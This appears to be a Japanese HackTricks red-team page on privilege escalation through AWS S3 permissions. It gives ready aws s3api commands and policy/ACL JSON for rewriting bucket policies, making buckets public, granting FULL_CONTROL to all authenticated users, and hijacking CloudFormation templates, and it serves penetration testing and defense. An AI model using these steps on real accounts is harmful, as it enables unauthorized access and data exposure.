AWS - S3 Privesc

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricks をサポートする他の方法:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

これらの権限を持つ攻撃者は、興味深いバケットに対してリソースを乗っ取り、特権を昇格させる可能性があります。

たとえば、"cf-templates-nohnwfax6a6i-us-east-1" という cloudformation バケットに対してこれらの権限を持つ攻撃者 は、デプロイを乗っ取ることができます。アクセスは、以下のポリシーで与えることができます:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

そして、ハイジャックが可能なのは、テンプレートがアップロードされる瞬間からバケットにテンプレートが展開される瞬間までの短い時間枠があるためです。攻撃者は、自分のアカウントでラムダ関数を作成し、バケット通知が送信されたときにトリガーされ、そのバケット内容乗っ取る可能性があります。

Pacuモジュールcfn__resouce_injectionを使用して、この攻撃を自動化することができます。 詳細については、元のリサーチを参照してください: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

これらは、S3にオブジェクトを取得およびアップロードする権限です。AWS内(および外部)の複数のサービスがS3ストレージを使用して構成ファイルを保存しています。 これらに読み取りアクセス権限を持つ攻撃者は、そこから機密情報を見つける可能性があります。 これらに書き込みアクセス権限を持つ攻撃者は、データを変更してサービスを悪用し、特権を昇格しようとする可能性があります。 以下はいくつかの例です:

  • EC2インスタンスがS3バケットにユーザーデータを保存している場合、攻撃者はそれを変更してEC2インスタンス内で任意のコードを実行することができます。

s3:PutBucketPolicy

この権限を持つ攻撃者は、同じアカウントからである必要があるが、そうでない場合はエラー指定されたメソッドは許可されていませんがトリガーされ、この権限により、バケットに対してより多くの権限を自分に付与し、バケットを読み取り、書き込み、変更、削除、公開することができます。

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

これらの権限を悪用することで、特定のバケットに対してより多くのアクセス権を与えることができます。 攻撃者は同じアカウントである必要はないことに注意してください。さらに、書き込みアクセスが必要です。

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

攻撃者はこれらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセス権限を拡張する可能性があります。

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

これらの権限を持つ攻撃者は、特定のオブジェクトバージョンに Acl を設定できると予想されます。

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

最終更新